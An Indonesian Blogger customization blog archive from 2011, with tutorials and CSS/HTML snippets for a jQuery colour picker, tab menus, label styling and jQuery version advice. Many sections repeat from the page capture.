01. <a target="_blank" href="Link Judul-01">Judul-01</a> Tuliskan teks di sini !<br>
02. <a target="_blank" href="Link Judul-02">Judul-02</a> Tuliskan teks di sini !<br>
03. <a target="_blank" href="Link Judul-03">Judul-03</a> Tuliskan teks di sini !<br>
04. <a target="_blank" href="Link Judul-04">Judul-04</a> Tuliskan teks di sini !
</td>
<td class="isiboks" bordercolor="d8ffde">
01. <a target="_blank" href="Link Judul-05">Judul-05</a> Tuliskan teks di sini !<br>
02. <a target="_blank" href="Link Judul-06">Judul-06</a> Tuliskan teks di sini !<br>
03. <a target="_blank" href="Link Judul-07">Judul-07</a> Tuliskan teks di sini !<br>
04. <a target="_blank" href="Link Judul-08">Judul-08</a> Tuliskan teks di sini !
</td>
<td class="isiboks" bordercolor="d8ffde">
01. <a target="_blank" href="Link Judul-09">Judul-09</a> Tuliskan teks di sini !<br>
02. <a target="_blank" href="Link Judul-10">Judul-10</a> Tuliskan teks di sini !<br>
03. <a target="_blank" href="Link Judul-11">Judul-11</a> Tuliskan teks di sini !<br>
04. <a target="_blank" href="Link Judul-12">Judul-12</a> Tuliskan teks di sini !
</td>
<td class="isiboks" bordercolor="d8ffde">
01. <a target="_blank" href="Link Judul-13">Judul-13</a> Tuliskan teks di sini !<br>
02. <a target="_blank" href="Link Judul-14">Judul-14</a> Tuliskan teks di sini !<br>
03. <a target="_blank" href="Link Judul-15">Judul-15</a> Tuliskan teks di sini !<br>
04. <a target="_blank" href="Link Judul-16">Judul-16</a> Tuliskan teks di sini !
</td>
</tr>
</table>
htmlnya bisa di taruh di postingan dan juga bisa di widget baru
width="800"> ukuran lebar tempelate anda
anda bisa edit sendiri ukurannya ... selesai ..
Minggu, 03 April 2011
jQuery Color Picker: Farbtastic
liat demo disini
# Login blogger
# Rancangan, Edit Html, Cari kode ]]></b:skin>
dan yang terakhir cara pemanggilannya pada Html :
selesai
# Login blogger
# Rancangan, Edit Html, Cari kode ]]></b:skin>
Dan Simpan kode berikut diatasnya :
/* ---------------
jQuery Color Picker: Farbtastic
---------------------------------- */
/**
* Farbtastic Color Picker 1.2
*/
.farbtastic {
position: relative;
}
.farbtastic * {
position: absolute;
cursor: crosshair;
}
.farbtastic, .farbtastic .wheel {
width: 195px;
height: 195px;
}
.farbtastic .color, .farbtastic .overlay {
top: 47px;
left: 47px;
width: 101px;
height: 101px;
}
.farbtastic .wheel {
background: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTDvcucHmaKZMh-3MNQ7f0WY1WL-TdHDhD_DtztHV_1GDFVHcDQW4lXquu86uQIQcAoOIeMNX1x7bti1ylVUlLoOoC1pUsh2LRccQ74BFxzjGcduZdz3rWf0bu59TsSxRh83-3Tt-4HIc/s1600/wheel.png) no-repeat;
width: 195px;
height: 195px;
}
.farbtastic .overlay {
background: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1OmVIR_Ku11pUzZclRw8SzkyNBmb9ml2Y52ShLlW1NQDeA5OUvvuEs8x_Iano7vu38PgxFw4axYL3wqUaMj2_Vc4-4r63rGMMv2tLibwwRMogWJAri6utkGh4v98PFiUaq1P1hUkVyWc/s1600/mask.png) no-repeat;
}
.farbtastic .marker {
width: 17px;
height: 17px;
margin: -8px 0 0 -8px;
overflow: hidden;
background: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirasIwyxuD19W2cROJ41Ocmd_754OWGzBe-PFcFXqOYujrNqnNX2XWIyD1oH7AaGgCwIQzUhXZ3y1sqp9Qnwf2V-_4-1BRq1INz9zp4FHA6acjlmlzfZrLDMHOF9dFNXGyIAWU4st0MNE/s1600/marker.png) no-repeat;
}
jQuery Color Picker: Farbtastic
---------------------------------- */
/**
* Farbtastic Color Picker 1.2
*/
.farbtastic {
position: relative;
}
.farbtastic * {
position: absolute;
cursor: crosshair;
}
.farbtastic, .farbtastic .wheel {
width: 195px;
height: 195px;
}
.farbtastic .color, .farbtastic .overlay {
top: 47px;
left: 47px;
width: 101px;
height: 101px;
}
.farbtastic .wheel {
background: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTDvcucHmaKZMh-3MNQ7f0WY1WL-TdHDhD_DtztHV_1GDFVHcDQW4lXquu86uQIQcAoOIeMNX1x7bti1ylVUlLoOoC1pUsh2LRccQ74BFxzjGcduZdz3rWf0bu59TsSxRh83-3Tt-4HIc/s1600/wheel.png) no-repeat;
width: 195px;
height: 195px;
}
.farbtastic .overlay {
background: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1OmVIR_Ku11pUzZclRw8SzkyNBmb9ml2Y52ShLlW1NQDeA5OUvvuEs8x_Iano7vu38PgxFw4axYL3wqUaMj2_Vc4-4r63rGMMv2tLibwwRMogWJAri6utkGh4v98PFiUaq1P1hUkVyWc/s1600/mask.png) no-repeat;
}
.farbtastic .marker {
width: 17px;
height: 17px;
margin: -8px 0 0 -8px;
overflow: hidden;
background: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirasIwyxuD19W2cROJ41Ocmd_754OWGzBe-PFcFXqOYujrNqnNX2XWIyD1oH7AaGgCwIQzUhXZ3y1sqp9Qnwf2V-_4-1BRq1INz9zp4FHA6acjlmlzfZrLDMHOF9dFNXGyIAWU4st0MNE/s1600/marker.png) no-repeat;
}
selanjutnya simpan script berikut tepat diatas kode </head> :
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
<script type="text/javascript" src="http://japarus.xtgem.com/warnagenerator.js"></script>
<link rel="stylesheet" href="farbtastic.css" type="text/css" />
<script type="text/javascript" charset="utf-8">
$(document).ready(function() {
$('#demo').hide();
$('#picker').farbtastic('#color');
});
</script>
<script type="text/javascript" src="http://japarus.xtgem.com/warnagenerator.js"></script>
<link rel="stylesheet" href="farbtastic.css" type="text/css" />
<script type="text/javascript" charset="utf-8">
$(document).ready(function() {
$('#demo').hide();
$('#picker').farbtastic('#color');
});
</script>
dan yang terakhir cara pemanggilannya pada Html :
bisa di widget html javascrip, bisa di postingan
<div id="demo" style="color: red; font-size: 1.4em;">
jQuery.js is not present. You must install jQuery in this folder for the demo to work.</div>
<form action="" style="width: 400px;">
<div class="form-item">
<label for="color">Color:</label><input id="color" name="color" type="text" value="#123456" /></div>
<div id="picker">
</div>
</form>
jQuery.js is not present. You must install jQuery in this folder for the demo to work.</div>
<form action="" style="width: 400px;">
<div class="form-item">
<label for="color">Color:</label><input id="color" name="color" type="text" value="#123456" /></div>
<div id="picker">
</div>
</form>
selesai
Menghilangkan gambar Obeng dan Tang pada blogger
1. Login blogger
2. Klik Rancangan.
3. Klik tab Edit HTML.
4. Cari kode seperti ini ]]></b:skin>
selesai ..
2. Klik Rancangan.
3. Klik tab Edit HTML.
4. Cari kode seperti ini ]]></b:skin>
Masukkan kode ini di atas kode tadi :
.quickedit{
display:none;
}
display:none;
}
selesai ..
Tips Menggunakan link jQuery - jquery.1.3.2.min.js
dari sekian banyak javascript, jquery merupakan satu javascript yang paling banyak digunakan blogger. Beberapa desain memanfaatkan berbagai jenis jquery yang telah tersedia, namun yang terbanyak digunakan sebagai dasar pembuatan desain adah jquery 1.3.2.js atau jquery.1.3.2.min.js. Sekalipun edisi terbaru telah direlease dalam bentuk jquery.1.4.2.js, dengan penambahan beberapa fungsi baru yang belum ada di jquery.1.3.2.js, jquery yang luar biasa (1.3.2.js) ini tetaplah menjadi javascript terfavorit. Disamping beban yang lebih enteng, jquery.1.3.2.js sudah sangat memenuhi syarat untuk dikembangkan dalam usaha menciptakan berbagai desain baru pelengkap blog, terlebih untuk blog yang bersifat umum yang tidak memerlukan desain khusus sebagai pelengkap tampilan.
Saat kita menggunakan sebuah desain dengan jquery, kita harus memahami fungsi yang tercipta. Banyak desain lama dan baru juga menggunakan jquery.1.2.6.js misalnya. Banyak desain yang memanfaatkan jquery.1.2.6.js sebenarnya bisa berfungsi sama dengan menggantinya dengan jquery.1.3.2.js. Jadi ketika anda harus menambahkan jquery.1.2.6.js, sementara blog sudah memasang jquery.1.3.2.js atau jquery.1.3.2.min.js, maka kenapa pula harus menambahkan jquery.1.2.6.js. Penambahan jquery baru seperti di atas sebenarnya sudah tidak diperlukan lagi karena fungsi sudah tercover melalui jquery.1.3.2.js. Demikian juga saat sebuah desain baru menggunakan jquery.1.4.2.js. Akan lebih baik seandainya anda coba dulu dengan memanfaatkan jquery.1.3.2.js yang sudah dimanfaatkan/terpasang. Jika cukup dengan jquery.1.3.2.js dan desain berjalan sempurna, maka jquery baru tidak diperlukan lagi. Menambah jquery baru sama artinya dengan menambah beban tak perlu yang akan semakin memperberat beban dan loading blog. Hal-hal yang seperti ini teramat sering terjadi dan umumnya disebabkan masih terbatasnya pemahaman blogger terhadap kode HTML, atau javascript. Satu hal yang wajar dan dapat dimaklumi karena 99% blogger tumbuh dan berkembang dari basic pengetahuan diluar desain blog.
Beberapa catatan di bawah ini mungkin bisa anda manfaatkan ketika menggunakan jquery, terutama jquery.1.2.6.js, jquery.1.3.2.js, jquery.1.4.1.js dan jquery.1.4.2.js.
* jquery.js (tanpa min) dan jquery.min.js (menggunakan min), keduanya mempunyai kegunaan dan fungsi sama. Penggunaan "min" menandakan bahwa jquery tersebut telah di kompres (compress) hingga muatan atau bebannya telah terkurangi dengan tujuan untuk mempercepat waktu loading. Compress jquery dilakukan dengan menghilangkan beberapa keterangan dan spasi yang sebenarnya berfungsi untuk memudahkan pengguna saat membuat desain baru dengan memanfaatkan jquery. Kesimpulannya jika anda hanya sekedar pengguna lebih baik menggunakan jquery.min.js agar loading blog lebih cepat.
* Saat sebuah desain baru ingin anda gunakan, dimana desain tersebut menggunakan jquery.1.2.6.js (atau min), jquery.1.4.1.js (atau min), dan jquery.1.4.2.js (atau min), maka lebih baik coba dulu menggunakan jquery.1.3.2.min.js. Apabila desain bisa bekerja secara sempurna dengan jquery.1.3.2.min.js, maka jquery dalam desain baru tersebut dapat di cover dengan menggunakan jquery.1.3.2.min.js.
* Sebaliknya, bila ada sebuah desain baru hanya dapat berfungsi menggunakan jquery.1.4.2.js, maka sebaiknya seluruh desain yang menggunakan jquery.1.2.6.js, jquery.1.3.2.js atau jquery.1.4.1.js di coba dengan jquery.1.4.2.min.js. Apabila bisa berfungsi baik maka anda cukup gunakan jquery.1.4.2.min.js untuk meng-cover seluruh kebutuhan penggunaan jquery.
* Demi lancarnya (mengurangi trouble) penggunaan jquery, sebaiknya gunakan link:
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js" type="text/javascript"></script>
* Pasanglah link jquery di atas tag pembuka <head> atau di bawahnya dengan posisi paling atas dibandingkan javascript yang lain. Jadi setelah link jquery baru diikuti link-link javascript yang lain.
* Jika sudah cukup memahami cara pencarian kode html dalam template dan pemasangan kode di luar penggunaan "Add a Gadget", sebaiknya simpan link jquery di atas atau di bawah kode <head> karena jika sebuah desain menggunakan jquery sebagai dasar pembuatan desain maka script desain baru harus selalu berada di bawah link jquery. Jika jquery sudah berada di atas atau di bawah kode <head>, maka secara otomatis semua script yang dibuat untuk sebuah desain baru akan selalu berada di bawah jquery yang link-nya terpasang di bagian teratas blog (dekat <head>).
Semoga bermanfaat!
sumber google ..
Saat kita menggunakan sebuah desain dengan jquery, kita harus memahami fungsi yang tercipta. Banyak desain lama dan baru juga menggunakan jquery.1.2.6.js misalnya. Banyak desain yang memanfaatkan jquery.1.2.6.js sebenarnya bisa berfungsi sama dengan menggantinya dengan jquery.1.3.2.js. Jadi ketika anda harus menambahkan jquery.1.2.6.js, sementara blog sudah memasang jquery.1.3.2.js atau jquery.1.3.2.min.js, maka kenapa pula harus menambahkan jquery.1.2.6.js. Penambahan jquery baru seperti di atas sebenarnya sudah tidak diperlukan lagi karena fungsi sudah tercover melalui jquery.1.3.2.js. Demikian juga saat sebuah desain baru menggunakan jquery.1.4.2.js. Akan lebih baik seandainya anda coba dulu dengan memanfaatkan jquery.1.3.2.js yang sudah dimanfaatkan/terpasang. Jika cukup dengan jquery.1.3.2.js dan desain berjalan sempurna, maka jquery baru tidak diperlukan lagi. Menambah jquery baru sama artinya dengan menambah beban tak perlu yang akan semakin memperberat beban dan loading blog. Hal-hal yang seperti ini teramat sering terjadi dan umumnya disebabkan masih terbatasnya pemahaman blogger terhadap kode HTML, atau javascript. Satu hal yang wajar dan dapat dimaklumi karena 99% blogger tumbuh dan berkembang dari basic pengetahuan diluar desain blog.
Beberapa catatan di bawah ini mungkin bisa anda manfaatkan ketika menggunakan jquery, terutama jquery.1.2.6.js, jquery.1.3.2.js, jquery.1.4.1.js dan jquery.1.4.2.js.
* jquery.js (tanpa min) dan jquery.min.js (menggunakan min), keduanya mempunyai kegunaan dan fungsi sama. Penggunaan "min" menandakan bahwa jquery tersebut telah di kompres (compress) hingga muatan atau bebannya telah terkurangi dengan tujuan untuk mempercepat waktu loading. Compress jquery dilakukan dengan menghilangkan beberapa keterangan dan spasi yang sebenarnya berfungsi untuk memudahkan pengguna saat membuat desain baru dengan memanfaatkan jquery. Kesimpulannya jika anda hanya sekedar pengguna lebih baik menggunakan jquery.min.js agar loading blog lebih cepat.
* Saat sebuah desain baru ingin anda gunakan, dimana desain tersebut menggunakan jquery.1.2.6.js (atau min), jquery.1.4.1.js (atau min), dan jquery.1.4.2.js (atau min), maka lebih baik coba dulu menggunakan jquery.1.3.2.min.js. Apabila desain bisa bekerja secara sempurna dengan jquery.1.3.2.min.js, maka jquery dalam desain baru tersebut dapat di cover dengan menggunakan jquery.1.3.2.min.js.
* Sebaliknya, bila ada sebuah desain baru hanya dapat berfungsi menggunakan jquery.1.4.2.js, maka sebaiknya seluruh desain yang menggunakan jquery.1.2.6.js, jquery.1.3.2.js atau jquery.1.4.1.js di coba dengan jquery.1.4.2.min.js. Apabila bisa berfungsi baik maka anda cukup gunakan jquery.1.4.2.min.js untuk meng-cover seluruh kebutuhan penggunaan jquery.
* Demi lancarnya (mengurangi trouble) penggunaan jquery, sebaiknya gunakan link:
klik
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js" type="text/javascript"></script>
* Pasanglah link jquery di atas tag pembuka <head> atau di bawahnya dengan posisi paling atas dibandingkan javascript yang lain. Jadi setelah link jquery baru diikuti link-link javascript yang lain.
* Jika sudah cukup memahami cara pencarian kode html dalam template dan pemasangan kode di luar penggunaan "Add a Gadget", sebaiknya simpan link jquery di atas atau di bawah kode <head> karena jika sebuah desain menggunakan jquery sebagai dasar pembuatan desain maka script desain baru harus selalu berada di bawah link jquery. Jika jquery sudah berada di atas atau di bawah kode <head>, maka secara otomatis semua script yang dibuat untuk sebuah desain baru akan selalu berada di bawah jquery yang link-nya terpasang di bagian teratas blog (dekat <head>).
Semoga bermanfaat!
sumber google ..
Sabtu, 02 April 2011
membuat kotak katagori dengan css
seperti biasa login , rancangan , edit html ,, bila perlu download tempelate lengkap ..
cari kode ]]></b:skin>
paste css nya diatas kode ]]></b:skin>
#Label1 h2{color:transparent;
background:url(http://japarus.xtgem.com/animacategories.gif) no-repeat 10px 50%;}
#Label1 .widget-content li{list-style:none;padding-left:40px;
background:url(http://japarus.xtgem.com/Arrow_animacategories.gif) no-repeat 0 6px;}
selesai ...
cari kode ]]></b:skin>
paste css nya diatas kode ]]></b:skin>
css nya
#Label1 h2{color:transparent;
background:url(http://japarus.xtgem.com/animacategories.gif) no-repeat 10px 50%;}
#Label1 .widget-content li{list-style:none;padding-left:40px;
background:url(http://japarus.xtgem.com/Arrow_animacategories.gif) no-repeat 0 6px;}
selesai ...
Cara Membuat Box animasi dengan css untuk Posting Kode HTML
# Login : Login to BloGGeR (login ke BloGGeR)
# Dasboard (Dasbor) : Setelah masuk di halaman ini, cari dan KLIK link "Design (Rancangan)".
# KLIK "Edit HTML".
# Kita akan melihat kode HTML penyusun blog. Disinilah kode CSS baru akan kita tambahkan. Cari kode <head>
# paste js nya diatas <head>
<link href="http://japarus.xtgem.com/animablogpos.css" rel="stylesheet" type="text/css" />
klik save ,, trus ke pengaturan .. format
cari di bawah bacaan Templat Entri, pastekan kode html ini, kode ini di pakai untuk menulis postingan yg ada htmlnya ..
<pre class="loreng" style="height: 50px;">
disini kode html untuk anda posting
</pre>
keterangan ..
atur height dan widht nya sesuka anda, anda juga bisa ganti image sendiri untuk backgroun
# Dasboard (Dasbor) : Setelah masuk di halaman ini, cari dan KLIK link "Design (Rancangan)".
# KLIK "Edit HTML".
# Kita akan melihat kode HTML penyusun blog. Disinilah kode CSS baru akan kita tambahkan. Cari kode <head>
# paste js nya diatas <head>
link js nya
<link href="http://japarus.xtgem.com/animablogpos.css" rel="stylesheet" type="text/css" />
klik save ,, trus ke pengaturan .. format
cari di bawah bacaan Templat Entri, pastekan kode html ini, kode ini di pakai untuk menulis postingan yg ada htmlnya ..
untuk dipostingan
<pre class="loreng" style="height: 50px;">
disini kode html untuk anda posting
</pre>
keterangan ..
atur height dan widht nya sesuka anda, anda juga bisa ganti image sendiri untuk backgroun
Cara Memasang Horizontal Tabs Menu di bawah dan atas Header
Cara Memasang Horizontal Tabs Menu di atas Header
<style type="text/css">
.bgsGRmnu{
padding: 0;
float: left;
font: bold 13px Arial;
overflow: hidden;
margin-bottom: 1em;
border: 1px solid #625e00;
border-width: 1px 0;
border-left:1px solid white;
background: black url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMTXSWh8yzWQADHVcBXKj2NmN_EkyW5_QzQC97XOSg5awdVgytwLCqc1q2iu4H_wNoBIUw1LXcQtgD_K36mO1xBC07shExPpMtH1vPt_e6swAh3svSt5jzaj7IOltR1dv5q4bRsRbnYoo/s980/teeeee.jpg) top center repeat-x;
}
.bgsGRmnu li{
display: inline;
}
.bgsGRmnu li a{
float:left;
color:#aad6fe;
padding:9px 11px;
text-decoration:none;
border-right:1px solid white;
}
.bgsGRmnu li a:visited{
color:#4fcafe;
}
.bgsGRmnu li a:hover, .bgsGRmnu li .current{
color: red;
text-shadow:-1px -3px 1px #fff;
-moz-text-shadow:-1px -3px 1px #fff;
-webkit-text-shadow:-1px -3px 1px #fff;
background: transparent url(http://a7.sphotos.ak.fbcdn.net/hphotos-ak-snc6/196933_1743868322146_1401893631_31776483_2628934_n.jpg) center center repeat-x;
}
.boksmnu{
padding:0 0 2px;
border-bottom:2px solid red;
border-left:15px solid #000;
border-right:15px solid #000;
padding-left:1px;
height:35px; background:#000;
float:left;
-moz-border-radius-topleft: 10px;
-moz-border-radius-topright: 10px;
-webkit-border-top-left-radius: 10px;
-webkit-border-top-right-radius: 10px;
-goog-ms-border-top-left-radius: 10px;
-goog-ms-border-top-right-radius: 10px;
border-top-left-radius: 10px;
border-top-right-radius: 10px;
}
</style>
<div class="bokmenu" style="top:-30px;left:10px;margin:0px 10px 20px 0px;">
<ul class="bgsGRmnu">
<li><a href="Link-1">Link Title-1</a></li>
<li><a href="Link-2">Link Title-2</a></li>
<li><a href="Link-2">Link Title-3</a></li>
<li><a href="Link-2">Link Title-4</a></li>
<li><a href="Link-2">Link Title-5</a></li>
<li class="current"><a href="http://japarus.co.tv/">japarus</a></li>
</ul>
</div>
anda bisa ganti image background: transparent url(http://a7.sphotos.ak.fbcdn.net/hphotos-ak-snc6/196933_1743868322146_1401893631_31776483_2628934_n.jpg)
Cara Menggunakan Kode CSS dan HTML Horizontal Tabs
# Login to BloGGeR : Lakukan login ke blogger terlebih dahulu.
# Dasboard
# : Setelah memasuki halaman dasboard, KLIK link Design/Rancangan.Design/Rancangan : KLIK link Edit HTML.
# BackUp Templates : KLIK link Download Full Templates/Download Template Lengkap, kemudian Save in a PC folder.
# Tetap di Edit HTML : Cari kode html di bawah ini.
<b:section class='header' id='header' maxwidgets='1' showaddelement='no'>
Gunakan Ctrl +F untuk mencari kode html tersebut.
<b:section class='header' id='header' showaddelement='yes'>
Perubahan kode HTML ini berfungsi untuk memunculkan widget di atas header.
# Page Elements/Elemen Laman : KLIK link Page Elements/Elemen Laman.
# Add Gadget/Tambah Gadget : KLIK Add Gadget di atas Header (above header).
# Add a Gadget/Tambahkan Sebuah Gadget : KLIK HTML/Javascript.
# Copy-Paste : Copy Kode CSS dan kode HTML Horizontal Tabs Menu, kemudian paste di box yang tersedia.
# KLIK SAVE/Simpan dan lihat hasilnya dengan membuka blog (open blog).
Cara Memasang Horizontal Tabs Menu di bawah Header
<b:section class='tabs' id='crosscol' maxwidgets='1' showaddelement='yes'/>
<b:section class='tabs' id='crosscol-overflow' showaddelement='no'/>
# Replace HTML Code (Ganti kode HTML) dengan kode HTML berikut :
<b:section class='header' id='crosscol' showaddelement='yes'/>
<b:section class='header' id='crosscol-overflow' showaddelement='yes'/>
/* Tabs
----------------------------------------------- */
/*
.tabs-outer {
position: relative;
background: transparent;
}
.tabs-cap-top, .tabs-cap-bottom {
position: absolute;
width: 100%;
}
.tabs-cap-bottom {
bottom: 0;
}
.tabs-inner {
padding: 0;
}
.tabs-inner .section {
margin: 0 35px;
}
*+html body .tabs-inner .widget li {
padding: 1px;
}
.PageList {
border-bottom: 1px solid $(tabs.border.bevel.color);
}
.tabs-inner .widget li.selected a,
.tabs-inner .widget li a:hover {
position: relative;
-moz-border-radius-topleft: 5px;
-moz-border-radius-topright: 5px;
-webkit-border-top-left-radius: 5px;
-webkit-border-top-right-radius: 5px;
-goog-ms-border-top-left-radius: 5px;
-goog-ms-border-top-right-radius: 5px;
border-top-left-radius: 5px;
border-top-right-radius: 5px;
background: $(tabs.selected.background.color) none ;
color: $(tabs.selected.text.color);
}
.tabs-inner .widget li a {
display: inline-block;
margin: 0;
margin-right: 1px;
padding: .65em 1.5em;
font: $(tabs.font);
color: $(tabs.text.color);
background-color: $(tabs.background.color);
-moz-border-radius-topleft: 5px;
-moz-border-radius-topright: 5px;
-webkit-border-top-left-radius: 5px;
-webkit-border-top-right-radius: 5px;
-goog-ms-border-top-left-radius: 5px;
-goog-ms-border-top-right-radius: 5px;
border-top-left-radius: 5px;
border-top-right-radius: 5px;
}
/* Headings
----------------------------------------------- */
kalau ktemu seperti itu hapus smua, kalau g ada g usah , karna semua tempelate berbeda .. lanjut ...
# KLIK SAVE Template/Simpan Template.
# KLIK link Page Elements/Elemen Laman.
# KLIK Add Gadget/Tambah Gadget di bawah header (under the header).
Copy-Paste Kode dan simpan di HTML/Javascript.
selesai ...
html dan css nya edit sesuka anda,..
semoga membantu ...
kode css dan htmlnya
<style type="text/css">
.bgsGRmnu{
padding: 0;
float: left;
font: bold 13px Arial;
overflow: hidden;
margin-bottom: 1em;
border: 1px solid #625e00;
border-width: 1px 0;
border-left:1px solid white;
background: black url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMTXSWh8yzWQADHVcBXKj2NmN_EkyW5_QzQC97XOSg5awdVgytwLCqc1q2iu4H_wNoBIUw1LXcQtgD_K36mO1xBC07shExPpMtH1vPt_e6swAh3svSt5jzaj7IOltR1dv5q4bRsRbnYoo/s980/teeeee.jpg) top center repeat-x;
}
.bgsGRmnu li{
display: inline;
}
.bgsGRmnu li a{
float:left;
color:#aad6fe;
padding:9px 11px;
text-decoration:none;
border-right:1px solid white;
}
.bgsGRmnu li a:visited{
color:#4fcafe;
}
.bgsGRmnu li a:hover, .bgsGRmnu li .current{
color: red;
text-shadow:-1px -3px 1px #fff;
-moz-text-shadow:-1px -3px 1px #fff;
-webkit-text-shadow:-1px -3px 1px #fff;
background: transparent url(http://a7.sphotos.ak.fbcdn.net/hphotos-ak-snc6/196933_1743868322146_1401893631_31776483_2628934_n.jpg) center center repeat-x;
}
.boksmnu{
padding:0 0 2px;
border-bottom:2px solid red;
border-left:15px solid #000;
border-right:15px solid #000;
padding-left:1px;
height:35px; background:#000;
float:left;
-moz-border-radius-topleft: 10px;
-moz-border-radius-topright: 10px;
-webkit-border-top-left-radius: 10px;
-webkit-border-top-right-radius: 10px;
-goog-ms-border-top-left-radius: 10px;
-goog-ms-border-top-right-radius: 10px;
border-top-left-radius: 10px;
border-top-right-radius: 10px;
}
</style>
<div class="bokmenu" style="top:-30px;left:10px;margin:0px 10px 20px 0px;">
<ul class="bgsGRmnu">
<li><a href="Link-1">Link Title-1</a></li>
<li><a href="Link-2">Link Title-2</a></li>
<li><a href="Link-2">Link Title-3</a></li>
<li><a href="Link-2">Link Title-4</a></li>
<li><a href="Link-2">Link Title-5</a></li>
<li class="current"><a href="http://japarus.co.tv/">japarus</a></li>
</ul>
</div>
anda bisa ganti image background: transparent url(http://a7.sphotos.ak.fbcdn.net/hphotos-ak-snc6/196933_1743868322146_1401893631_31776483_2628934_n.jpg)
Cara Menggunakan Kode CSS dan HTML Horizontal Tabs
# Login to BloGGeR : Lakukan login ke blogger terlebih dahulu.
# Dasboard
# : Setelah memasuki halaman dasboard, KLIK link Design/Rancangan.Design/Rancangan : KLIK link Edit HTML.
# BackUp Templates : KLIK link Download Full Templates/Download Template Lengkap, kemudian Save in a PC folder.
# Tetap di Edit HTML : Cari kode html di bawah ini.
cari
<b:section class='header' id='header' maxwidgets='1' showaddelement='no'>
Gunakan Ctrl +F untuk mencari kode html tersebut.
rubah dengan ini
<b:section class='header' id='header' showaddelement='yes'>
Perubahan kode HTML ini berfungsi untuk memunculkan widget di atas header.
# Page Elements/Elemen Laman : KLIK link Page Elements/Elemen Laman.
# Add Gadget/Tambah Gadget : KLIK Add Gadget di atas Header (above header).
# Add a Gadget/Tambahkan Sebuah Gadget : KLIK HTML/Javascript.
# Copy-Paste : Copy Kode CSS dan kode HTML Horizontal Tabs Menu, kemudian paste di box yang tersedia.
# KLIK SAVE/Simpan dan lihat hasilnya dengan membuka blog (open blog).
Cara Memasang Horizontal Tabs Menu di bawah Header
Cari kode (find HTML Code)
<b:section class='tabs' id='crosscol' maxwidgets='1' showaddelement='yes'/>
<b:section class='tabs' id='crosscol-overflow' showaddelement='no'/>
# Replace HTML Code (Ganti kode HTML) dengan kode HTML berikut :
Judul Spoiler
<b:section class='header' id='crosscol' showaddelement='yes'/>
<b:section class='header' id='crosscol-overflow' showaddelement='yes'/>
Lanjutkan cari kode CSS
/* Tabs
----------------------------------------------- */
/*
.tabs-outer {
position: relative;
background: transparent;
}
.tabs-cap-top, .tabs-cap-bottom {
position: absolute;
width: 100%;
}
.tabs-cap-bottom {
bottom: 0;
}
.tabs-inner {
padding: 0;
}
.tabs-inner .section {
margin: 0 35px;
}
*+html body .tabs-inner .widget li {
padding: 1px;
}
.PageList {
border-bottom: 1px solid $(tabs.border.bevel.color);
}
.tabs-inner .widget li.selected a,
.tabs-inner .widget li a:hover {
position: relative;
-moz-border-radius-topleft: 5px;
-moz-border-radius-topright: 5px;
-webkit-border-top-left-radius: 5px;
-webkit-border-top-right-radius: 5px;
-goog-ms-border-top-left-radius: 5px;
-goog-ms-border-top-right-radius: 5px;
border-top-left-radius: 5px;
border-top-right-radius: 5px;
background: $(tabs.selected.background.color) none ;
color: $(tabs.selected.text.color);
}
.tabs-inner .widget li a {
display: inline-block;
margin: 0;
margin-right: 1px;
padding: .65em 1.5em;
font: $(tabs.font);
color: $(tabs.text.color);
background-color: $(tabs.background.color);
-moz-border-radius-topleft: 5px;
-moz-border-radius-topright: 5px;
-webkit-border-top-left-radius: 5px;
-webkit-border-top-right-radius: 5px;
-goog-ms-border-top-left-radius: 5px;
-goog-ms-border-top-right-radius: 5px;
border-top-left-radius: 5px;
border-top-right-radius: 5px;
}
/* Headings
----------------------------------------------- */
kalau ktemu seperti itu hapus smua, kalau g ada g usah , karna semua tempelate berbeda .. lanjut ...
# KLIK SAVE Template/Simpan Template.
# KLIK link Page Elements/Elemen Laman.
# KLIK Add Gadget/Tambah Gadget di bawah header (under the header).
Copy-Paste Kode dan simpan di HTML/Javascript.
selesai ...
html dan css nya edit sesuka anda,..
semoga membantu ...
Langganan:
Postingan (Atom)